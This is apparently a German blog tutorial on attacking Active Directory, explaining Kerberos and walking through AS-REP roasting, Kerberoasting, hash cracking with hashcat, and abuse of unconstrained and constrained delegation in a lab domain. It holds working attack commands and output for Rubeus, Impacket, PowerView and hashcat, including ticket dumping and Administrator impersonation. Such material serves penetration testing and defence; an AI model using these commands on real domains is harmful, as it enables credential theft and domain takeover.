Angriffe auf Active Directory

Übersicht

Active Directory und Ransomware

Active Directory (AD) ist ein Verzeichnisdienst Für Windows-Unternehmensumgebungen den Microsoft im Jahr 2000 veröffentlichte. AD basiert auf den Protokollen X.500 und LDAP. AD bietet eine verteilte hierarchische Struktur, die eine Verwaltung der Ressourcen (Benutzer, Geräte (z. B. Drucker, Netzwerkgeräte, Computer), Freigaben, Richtlinien etc.) eines Unternehmens ermöglicht. AD ist weltweit verbreitet und die meist genutzte IAM (Identity Access Management) Lösung. Eine Kompromittierung des ADs eines Unternehmens bedeutet Zugang zu allen Unternehmenssystemen und Daten. Sicherheitsforscher entdecken und veröffentlichen regelmäßig Schwachstellen im AD welche von Angreifern ausgenutzt werden.

Eine der meist verbreitetsten Geschäftsmodelle derzeit ist der Einsatz von Ransomware um kritische Unternehmensdaten zu verschlüsseln und zu exfiltrieren um anschließend für die Entschlüsselung und nicht veröffentlichung der Daten ein Lösegeld zu fordern. In Deutschland wurden, dem Bundeslagebild nach, 2023 von mehr als 800 Unternehmen und Institutionen Ransomware-Fälle angezeigt. Die Schäden durch Erpressung mit exfiltrierten und/oder verschlüsselten Daten beliefen sich auf 16,1 Mrd. Euro berichtet der WDR.

Im folgenden möchte ich daher über die typischsten Angriffsmethoden auf eine Active Directory Umgebung aufklären.

Das Kerberos Protokoll

Kerberos ist seit Windows 2000 ein auf Ticket basierendes Standard-Authentifizierungsprotokoll für Domänenkonten und läuft standardmäßig auf Port 88. Kerberos ist ein offener Standard und ermöglicht die Interoperabilität mit anderen Systemen, die denselben Standard verwenden. Innerhalb einer Active Directory Umgebung verfügt jeder Domaincontroller über einen Key Distribution Center (KDC) der für die Ticketverwaltung zuständig ist. Der KDC besteht jeweils aus einem Authentication Service und einem Ticket Granting Service.

Ablauf:


1. Authentication Server Request (AS_REQ)
Sobald sich ein Benutzer über einen Client an einer Domäne anmelden möchte schickt dieser einen AS_REQ an den Authentication Service. Der AS_REQ enthält den aktuellen Zeitstempel der mit dem NTLM Passwort Hash des Benutzers verschlüsselt ist. Der Authentication Service zieht sich daraufhin aus der Active Directory Datenbank (NTDS.DIT) den Passwort Hash des Benutzers und versucht mit diesem den Zeitstempel zu entschlüsseln.

2. Authentication Server Reply (AS_REP)
Funktioniert dies erfolgreich und der Zeitstempel ist ≦ 5 Minuten alt, schickt der Authentication Service einen AS_REP an den Client, der aus einem Session Key besteht, der mit dem Passwort-Hash des Benutzers verschlüsselt ist und einem Ticket Granting Ticket (TGT) welcher mit dem Passwort Hash des krbtgt-Accounts verschlüsselt ist und Standardmäßig für 10 Stunden gültig ist.

Mit Schritt 1&2 ist die Kerberos-Vorauthentifizierung abschlossen.

3. Ticket Granting Service Request (TGS_REQ)
Möchte ein Client auf ein Ressource/Dienst innerhalb einer Domäne zugreifen z. B. einen Fileshare oder Datenbankserver schickt dieser einen TGS_REQ an den Ticket Granting Service. Der TGS_REQ enthält den Benutzernamen, den Namen der Ressource, das TGT und einen Zeitstempel, der mit dem Session Key verschlüsselt ist.

4. Ticket Granting Service Reply (TGS_REP)
Nach erfolgreich Verifikation des TGS_REQ sendet der Ticket Granting Service einen TGS_REP an den Client zurück. Das TGS_REP enthält ein Ticket Granting Service Ticket für die angeforderte Ressource, welches mit deren Passwort Hash verschlüsselt ist.

5. Application Request (AP_REQ)
Der Client schickt das TGS zusammen mit Benutzernamen, Zeitstempel und Session Key an den Application Server (Ressource). Dieser entschlüsselt das Service Ticket mit seinem eigenen Passwort Hash.

6. Service Authentication
Hat der authentifizierte Benutzer nun auch die Zulassung auf den Dienst zuzugreifen wird der Zugang gewährt.

Mit diesem Prozess entkoppelt Kerberos effektiv die Anmeldedaten von Benutzern von deren Anfragen an Ressourcen innerhalb eines Netzwerkes, indem die Annahme getroffen wird, das jeder Benutzer der über ein gültiges TGT verfügt, bereits erfolgreich seine Identität nachweisen konnte.

AS-REP Roasting

Erklärung:
Wenn das Attribut „Do not require Kerberos preauthentication“ bei einem Benutzer aktiviert ist, ist es für einen Angreifer möglich innerhalb einer Domäne Authentifizierungsdaten für diesen Benutzer anfordern, und der KDC würde eine AS-REP zurücksenden. Da ein Teil dieser Nachricht mit dem Kennwort des Benutzers verschlüsselt ist, kann der Angreifer dann versuchen, das Kennwort des Benutzers offline zu cracken.

Action:
Auf dem Domaincontroller DC01 für die Domäne EXAMPLE.COM setzen wir für den Benutzer Bob die Option „Do not require Kerberos preauthentication“.

Get-ADUser -Identity "Bob" | Set-ADAccountControl -doesnotrequirepreauth $true

Wie in Abbild 1 zu sehen ist der DoesNotRequirePreAuth auf True gesetzt.

Abbild 1

Per Windows:
Verfügt der Angreifer über eine Windows Workstation und Benutzer die in der Active Directory Domäne mit eingebunden sind, und Schutzsysteme wie Windows Defender deaktiviert wurden, kann er mit Rubeus alle Benutzerkonten abrufen, bei denen die Vorauthentifizierung deaktiviert ist und von diesen die Password Hashes extrahieren.

C:\Users\Alice\Desktop>Rubeus.exe asreproast /nowrap
...
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0
...
[*] Action: AS-REP roasting

[*] Target Domain          : example.com

[*] Searching path 'LDAP://DC01.example.com/DC=example,DC=com' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
[*] SamAccountName         : Bob
[*] DistinguishedName      : CN=Bob,CN=Users,DC=example,DC=com
[*] Using domain controller: DC01.example.com (192.168.1.100)
[*] Building AS-REQ (w/o preauth) for: 'example.com\Bob'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
...   $krb5asrep$Bob@example.com:8ACF8A7F2AD21A9C9A7113452532F5FB$996ED10E8321BBD437821C47BB92768CDE042A923EAE29BE77B94A8165F846F676BB803C7393307C28D1D6035BAE2535730753C1D7E1C3380F1C4F99D190C1001B9C66A9B815E73246BBF4AD5CEED3AAC56B4FDC2DB954D30192EBCE329ED7A65D3FEFFDE6673F9293A7C3DAD0057BC68D0DB4EA2558DB88FD103720F4040C854568A77616388A49640E1F605900BC1C1D11C8CA27CD6AB0E31FCA6545EFDED6938E56877AEAFF083F68E320E5A9054C8B08C02B64A0280E3DF57422491F70D6404E1E8B13AB4DE29214915D05C3A0651DC6C090254A082388D498AE73E5CA52BCEB77A9242ADD39EF08

Per Kali-Linux:
Mit einer Linux-Maschine die DC01 erreichen kann, könnt Ihr einen AS-REP Roasting auch durchführen, mittels GetNPUsers von Impacket.

impacket-GetNPUsers example.com/Alice -request -outputfile hashes.asreproast -dc-ip 192.168.1.100
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
Name  MemberOf  PasswordLastSet             LastLogon                   UAC      
----  --------  --------------------------  --------------------------  --------
Bob             2024-08-21 03:05:48.242695  2024-08-21 05:10:29.737379  0x400200 
...
$krb5asrep$23$Bob@EXAMPLE.COM:ecbdf494fd579a601fc9f5ce23bf8330$746928bc17a074576931ec622523820c269f6c7ad7115134017db14dd0ab0b5f7da21d7709541ced0dfa647e634a68874ba9a0f9ef12492244a2a516d1abb6c985a285d598b5291f3220af32cf5fab02ab1f5cfe03e4c1954baba711ed205d2261101cfd4eef2dbc727775ce7efaa79c2fb02d9c2b7c8148ee2caa828f374a020398f01d8669d89dacce35b5e4908b4319272ac51e8321ce54f96977a5cbd7308670452dbb114e2b74e581b6deecbbf773a93d7bf3467e00b9d17a48a3de8d868d7c6cc0c71d1e5f710e4cbf7408aade88f5c27402da5caf62f7f6c0bcb482f256df20658bdd2b010644

Um den Hash jetzt zu cracken, bietet sich an auf Kali-Linux Hashcat oder John the Ripper zu verwenden.
Das folgende Hashcat Beispiel zeigt wie der gespeicherte Hash gecrackt werden kann.

hashcat -h | grep -i "AS-REP"                   
18200 | Kerberos 5, etype 23, AS-REP                         | Network Protocol

hashcat -m 18200 -a 0 hashes.asreproast rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-9850H CPU @ 2.60GHz, 8010/16084 MB (2048 MB allocatable), 5MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921520
* Keyspace..: 14344386
* Runtime...: 0 secs

$krb5asrep$23$Bob@EXAMPLE.COM:ecbdf494fd579a601fc9f5ce23bf8330$746928bc17a074576931ec622523820c269f6c7ad7115134017db14dd0ab0b5f7da21d7709541ced0dfa647e634a68874ba9a0f9ef12492244a2a516d1abb6c985a285d598b5291f3220af32cf5fab02ab1f5cfe03e4c1954baba711ed205d2261101cfd4eef2dbc727775ce7efaa79c2fb02d9c2b7c8148ee2caa828f374a020398f01d8669d89dacce35b5e4908b4319272ac51e8321ce54f96977a5cbd7308670452dbb114e2b74e581b6deecbbf773a93d7bf3467e00b9d17a48a3de8d868d7c6cc0c71d1e5f710e4cbf7408aade88f5c27402da5caf62f7f6c0bcb482f256df20658bdd2b010644:P@ssw0rd123!
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$Bob@EXAMPLE.COM:ecbdf494fd579a601fc9f...010644
Time.Started.....: Wed Aug 21 05:28:46 2024 (0 secs)
Time.Estimated...: Wed Aug 21 05:28:46 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   126.9 kH/s (2.12ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5120/14344386 (0.04%)
Rejected.........: 0/5120 (0.00%)
Restore.Point....: 0/14344386 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> celica
Hardware.Mon.#1..: Util: 20%

Started: Wed Aug 21 05:28:45 2024

Kerberoasting

Erklärung:
Kerberoasting ist eine Technik der lateralen Bewegung/Privilegienerweiterung in Active Directory-Umgebungen. Die Technik zielt auf Service Principal Names (SPN)-Konten ab. SPNs sind eindeutige Bezeichner, die Kerberos verwendet, um eine Dienst (z. B. eine Webapplikation) einem Dienstkonto zuzuordnen, in dessen Kontext der Dienst ausgeführt wird. Domänenkonten/benutzer werden häufig für die Ausführung von Diensten verwendet, um die Beschränkungen der Netzwerkauthentifizierung von integrierten Konten wie NT AUTHORITY\LOCAL SERVICE zu umgehen. Wie wir bereits wissen kann jeder Domänenbenutzer ein Ticket Granting Service Ticket für jedes Dienstkonto in derselben Domäne anfordern. Dies ist auch über Forest-Trusts hinweg möglich, wenn die Authentifizierung über die Trust-Grenze hinweg erlaubt ist.

Wenn wir ein Ticket Granting Service Ticket für ein Konto mit einem SPN abrufen, ist dies wie oben beschrieben mit dem NTLM-Hash des Dienstkontes verschlüsselt. Wir können also einen Offline-Brute-Force-Angriff auf das Ticket durchführen umso möglicherweise an das Klartextpasswort des Dienstkontes zu erlangen.

Action:

Per Windows:

Mit der auf jedem Windows System vorinstallieren Setspn Binary können wir alle exisitierenden SPNs innerhalb einer Domäne auflisten:

C:\Users\Bob.EXAMPLE>setspn.exe -Q */*
Die Domäne "DC=example,DC=com" wird überprüft.
CN=DC01,OU=Domain Controllers,DC=example,DC=com
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.example.com
        ldap/DC01.example.com/ForestDnsZones.example.com
        ldap/DC01.example.com/DomainDnsZones.example.com
        DNS/DC01.example.com
        GC/DC01.example.com/example.com
        RestrictedKrbHost/DC01.example.com
        RestrictedKrbHost/DC01
        RPC/5e85c7b5-dedc-4bfc-8b63-b8f881009dda._msdcs.example.com
        HOST/DC01/EXAMPLE
        HOST/DC01.example.com/EXAMPLE
        HOST/DC01
        HOST/DC01.example.com
        HOST/DC01.example.com/example.com
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/5e85c7b5-dedc-4bfc-8b63-b8f881009dda/example.com
        ldap/DC01/EXAMPLE
        ldap/5e85c7b5-dedc-4bfc-8b63-b8f881009dda._msdcs.example.com
        ldap/DC01.example.com/EXAMPLE
        ldap/DC01
        ldap/DC01.example.com
        ldap/DC01.example.com/example.com
CN=krbtgt,CN=Users,DC=example,DC=com
        kadmin/changepw
CN=Alice,CN=Users,DC=example,DC=com
        HTTP/example.com
CN=WORKSTATION,CN=Computers,DC=example,DC=com
        RestrictedKrbHost/WORKSTATION
        HOST/WORKSTATION
        RestrictedKrbHost/Workstation.example.com
        HOST/Workstation.example.com

Bestehender SPN wurde gefunden.

Wir sehen hier einige Computer Accounts. Das Passwort eines Computers ist Standardmäßig 128 Zeichen lang, das alle 30 Tage automatisch geändert wird und daher kein lohnenswertes Ziel darstellt. Also fokussieren wir uns auf Benutzer Accounts.

Um das TGS abzurufen das mit dem Passwort Hash vom Benutzer Alice verschlüsselt ist benutze ich nun PowerView.ps1. PowerView ist ein PowerShell-Tool zur Ermittlung der Netzwerksituation in Windows-Domänen in der Post-Exploitation-Phase. Es enthält eine Reihe von reinen PowerShell-Ersetzungen für verschiedene Windows-„net *“-Befehle, die PowerShell-AD-Hooks und zugrunde liegende Win32-API-Funktionen nutzen, um nützliche Windows-Domänenfunktionen auszuführen.

PS C:\Users\Bob.EXAMPLE\Desktop> Import-Module .\PowerView.ps1
PS C:\Users\Bob.EXAMPLE\Desktop> Get-DomainUser * -spn | select samaccountname

samaccountname
--------------
krbtgt
Alice

PS C:\Users\Bob.EXAMPLE\Desktop> Get-DomainUser -Identity Alice | Get-DomainSPNTicket -Format Hashcat


SamAccountName       : Alice
DistinguishedName    : CN=Alice,CN=Users,DC=example,DC=com
ServicePrincipalName : HTTP/example.com
TicketByteHexStream  :
Hash                 : $krb5tgs$23$*Alice$example.com$HTTPexample.com*$0746748FDEBAED460EA1FBF893973B54$CAF69BDA702ED5CC075904F6E8FE12D250DE73B15B74CBDDA88404C673F7EDB6CCBF95F960EFA74FA0CEDAE71E34D982551AD1E2C73F29
<SNIPPED>

Beim Kerberoasting werden wir in den meisten AD Umgebungen Hashes abrufen, die mit $krb5tgs$23$* beginnen, einem RC4 (Typ 23) verschlüsselten Ticket. Es gibt auch Umgebungen in denen die Tickets mit AES-128 (Typ 17) oder AES-256 (Typ 18) verschlüsselt sind. Auch wenn es weiterhin möglich hier per Brute-Force das Passwort zu cracken wir hier signifikant mehr Zeit benötigt. RC4 wird weiterhin aufgrund von Rückwärtskompatibilität und der evolutionären Entwicklung von Active Directory verwendet. Eine schrittweise Abschaltung von RC4 und Umstellung auf AES wird angestrebt.

Per Linux:
Um über Kali Linux den Angriff durchzuführen nutzen wir von Impacket GetuserSPNs.

impacket-GetUserSPNs -dc-ip 192.168.1.100 EXAMPLE.COM/Bob -request-user Alice -outputfile Alice_tgs

Anschließend können wir den Hash mit Hashcat versuchen zu cracken. 

hashcat -m 13100 Alice_tgs rockyou.txt 
hashcat (v6.2.6) starting
<SNIPPED>
733bb0f04301e3c3b4566ee85227f58266167b7d0a1f01:P@ssw0rd123!
                                                          
Session..........: hashcat
Status...........: Cracked
<SNIPPED>

Kerberos Delegation

Mit der Kerberos-Delegation ist es für eine Anwendung möglich auf Ressourcen zuzugreifen, die auf einem anderen Server gehostet werden. Ein Beispiel ist, wenn ein Webserver, auf Ressourcen für die Website zugreifen muss, die woanders gehostet werden, wie zum Beispiel eine SQL-Datenbank. Anstatt im Kontext des Dienstkontos unter dem der Webserver ausgeführt wird, direkt auf die Datenbank zuzugreifen, besteht die Möglichkeit, dem Dienstkonto delegationrechte einzuräumen, so das er im Kontext von anderen Benutzern mit dem SQL-Server interagieren kann. Sobald sich ein Benutzer auf der Website anmeldet, fordert das Dienstkonto im Namen dieses Benutzers Zugriff auf den SQL-Serverdienst an. Dies ermöglicht es dem Benutzer, Zugriff auf die Inhalte in der Datenbank zu erhalten für die er berechtigt ist, ohne einen Zugriff auf das Dienstkonto des Webservers selbst bereitstellen zu müssen

Es gibt 3 Mögliche Arten von Delegationen:

1. Unconstrained Delegation
2. Constrained Delegation
3. Resource-Based Constrained Delegation

Unconstrained Delegation

Microsoft führte die uneingeschränkte Kerberos-Delegierung in Windows Server 2000 ein, um Diensten den Zugriff auf andere Dienste im Namen eines authentifizierten Benutzers zu ermöglichen, so dass dieser sich nicht erneut authentifizieren muss. Die Delegation kann auf Benutzer UND Computer übertragen werden. Wenn sich ein Benutzer beispielsweise bei einem Webserver authentifiziert hat, kann dieser Webserver den Benutzer impersonieren und auf Backend-Datenbanken zugreifen, ohne dass der Benutzer seine Anmeldeinformationen erneut eingeben muss.

Wenn also ein Benutzer ein TGS für den Webserver möchte fordert er dies beim KDC an. Der KDC erkennt das unconstrained delegation für den Webserver aktiviert ist und packet daher das TGT des Benutzer in das TGS. Der Benutzer erhält das TGS schickt es an den Webserver. Der Webserver entschlüsselt daraufhin das TGS und erhält so das TGT des Benutzers und kann sich als dieser impersonisieren.

Wenn die uneingeschränkte Delegation für ein Konto aktiviert ist, kann es den Benutzer für jeden Dienst in derselben Domäne ausgeben. Daher sind Konten, bei den die uneingeschränkte Delegation aktiviert ist, lohnenswerte Ziele für Angreifer.

Mit folgendem Befehl in Powershell können alle Computer im AD ermittelt werden für die die uneingeschränkte delegation aktiviert ist.

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | Select-Object Name, DistinguishedName

Um den Angriff nachzubauen nehmen wir erstellen wir einen SMB-Share auf Workstation-1 und legen dort die Datei test.txt ab

Workstation-1 als SYSTEM Benutzer:

New-Item -Path "C:\SMB-Share" -ItemType Directory
cd C:\SMB-Share
echo "Hello World" > test.txt

Nun greifen wir von DC01 auf den neuen Share zu:

more \\Workstation-1\SMB-Share\test.txt
Hello World

Workstation-1 als SYSTEM Benutzer:

.\Rubeus.exe triage

Wir Benutzen Rubeus um mit dem triage Parameter eine Tabelle mit den Kerberos-Tickets des aktuellen Benutzers zu erhalten, sofern dieser nicht über einen erhöhten Status verfügt. Wir führen jedoch den Befehl im Kontext des SYSTEM-Benutzers aus, daher wird eine Tabelle mit allen Kerberos-Tickets auf dem System angezeigt.

.\Rubeus.exe dump /luid:0x2e781a /nowrap

Die mit dem dump Parameter können wir im SYSTEM Kontext die aktuellen TGTs und Service-Tickets extrahieren. Wenn kein SYSTEM/ADMIN Kontext vorliegt, werden die Service-Tickets für den aktuellen Benutzer extrahiert.

Rubeus.exe ptt /ticket:doIF3...Q09N

Der ptt Parameter übermittelt ein /ticket:X (TGT oder Service-Ticket) für die aktuelle Anmeldesitzung über die LsaCallAuthenticationPackage()-API mit einer KERB_SUBMIT_TKT_REQUEST-Nachricht oder (falls erhöhte Rechte) an die durch /luid:0xA… angegebene Anmeldesitzung.

Rubeus.exe klist

klist listet detaillierte Informationen über die Anmeldesitzung des aktuellen Benutzers und die Kerberos-Tickets auf, wenn sie nicht im SYSTEM Kontext ausgeführt wird. Wenn es in einem SYSTEM Kontext (wie hier) ausgeführt wird, werden Informationen zu allen Anmeldesitzungen und zugehörigen Kerberos-Tickets angezeigt.

Anschließend ist es z. B. möglich auf das Dateiverzeichnis von DC01 zuzugreifen.

Constrained Delegation

Die eingeschränkte Delegation wurde mit Windows Server 2003 als sichereres Alternative für Dienste zur Durchführung der Kerberos-Delegation eingeführt. Diese zielt darauf ab, die Anzahl der Dienste einzuschränken gegenüber welcher sich ein z.b SQL-Server als beliebiger Nutzer impersonisieren darf. Der Server kann die TGTs anderer Benutzer nicht mehr zwischenspeichern, aber er kann einen TGS für einen anderen Benutzer mit seinem eigenen TGT beim KDC anfordern.

Mit folgendem Befehl in Powershell können alle Objekte im AD ermittelt werden für die die eingeschränkte delegation aktiviert ist.

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Mit SYSTEM auf Workstation-1

.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

Anschließend haben wir z. B. folgende Möglichkeiten der Impersoniserung

#Anfordern einen TGS des Domänenadministrators
.\Rubeus.exe s4u /ticket:TGT_workstation-1.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

Wir können mit einem TGT eine S4U-Anfrage durchführen, um ein TGS für CIFS auf DC01 zu erhalten. Dabei wird zuerst ein S4U2self und dann ein S4U2proxy durchgeführt.

S4U2proxy: Die Erweiterung Service for User to Proxy (S4U2proxy) stellt einen Dienst zur Verfügung, der im Namen eines Benutzers ein Service-Ticket für einen anderen Dienst erhält.

S4U2self: Die Erweiterung Service for User to Self (S4U2self) ermöglicht es einem Dienst, im Namen eines Benutzers ein Dienstticket für sich selbst zu erhalten.

#Das TGS erhalten, um sich als Administrator gegenüber dem CIFS.DC01.example.com Dienst auszugeben
.\Rubeus.exe s4u /ticket:TGT_workstation-1.kirbi /tgs:TGS_administrator_Administrator@example.com_to_workstation-1@example.com /msdsspn:"CIFS/DC01.example.com" /outfile:TGS_administrator_CIFS

#Sich als Administrator gegenüber den HOST Service ausgeben
.\Rubeus.exe s4u /ticket:TGT_workstation-1.kirbi /tgs:TGS_administrator_Administrator@example.com_to_workstation-1@example.com /altservice:HOST /outfile:TGS_administrator_HOST

#Das TGS in den Speicher laden
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-example.com

Erklärung altservice Parameter:

Der CIFS-Dienst kann etwa zum Auflisten und Übertragen von Dateien genutzt werden, aber was wäre, wenn Port 445 nicht verfügbar wäre oder wir eine Option für lateral movement brauchen?

Im Kerberos-Protokoll validiert ein Dienst ein eingehendes TGS, indem er sicherstellt, dass es mit dem symmetrischen Schlüssel des Dienstes verschlüsselt ist. Dieser Schlüssel wird aus dem Passwort-Hash des Objektes abgeleitet, der den Dienst betreibt. Die meisten Dienste laufen im SYSTEM-Kontext eines Computerkontos, z. B. SQL-1$. Daher werden alle Service Tickets, ob für CIFS, LDAP, HOST usw., mit demselben Schlüssel verschlüsselt. Der SPN spielt bei der Ticketvalidierung keine Rolle.

Außerdem sind die SPN-Informationen im Ticket (d. h. das Feld sname) nicht verschlüsselt und können beliebig geändert werden. Das heißt, wir können ein Service-Ticket für einen Dienst wie CIFS anfordern, dann aber den SPN in einen anderen ändern, z. B. in LDAP, und der Zieldienst wird dies problemlos akzeptieren.

Wir können dies mit dem Flag /altservice in Rubeus missbrauchen. In dem obrigen Beispiel verwende ich denselben TGT für Workstation-1, um einen TGS für LDAP anstelle von CIFS von DC01 anzufordern.

Resource-Based Constrained Delegation

Mit Windows 2012 wurde eine neue Art der Delegierung eingeführt, die Resource-Based Constrained Delegation (RBCD), bei der die Delegierungskonfiguration auf dem Ziel und nicht auf der Quelle festgelegt werden kann.

Zum Vergleich: Die eingeschränkte Delegierung wird auf dem „Front-End“-Dienst über sein Attribut msDS-AllowedToDelegateTo konfiguriert. In dem zuvor genannten Beispiel war cifs/dc01.example.com im msDS-AllowedToDelegateTo-Attribut von Workstation-1 enthalten. Dies ermöglichte es dem Workstation-1-Computerkonto, sich gegenüber jedem Dienst auf DC01 als ein beliebiger Benutzer auszugeben, ohne dass DC01 wirklich Einfluss darauf hatte.

RBCD kehrt dieses Konzept um und legt die Kontrolle stattdessen in die Hände des „Backend“-Dienstes, über ein neues Attribut namens msDS-AllowedToActOnBehalfOfOtherIdentity. Für die Änderung dieses Attributs ist auch kein SeEnableDelegationPrivilege erforderlich. Stattdessen benötigen wir nur ein Privileg wie WriteProperty, GenericAll, GenericWrite oder WriteDacl für ein Computerobjekt. Dadurch ist es viel wahrscheinlicher, dass sich eine Möglichkeit für Privilege Escalation oder Lateral Movement ergibt.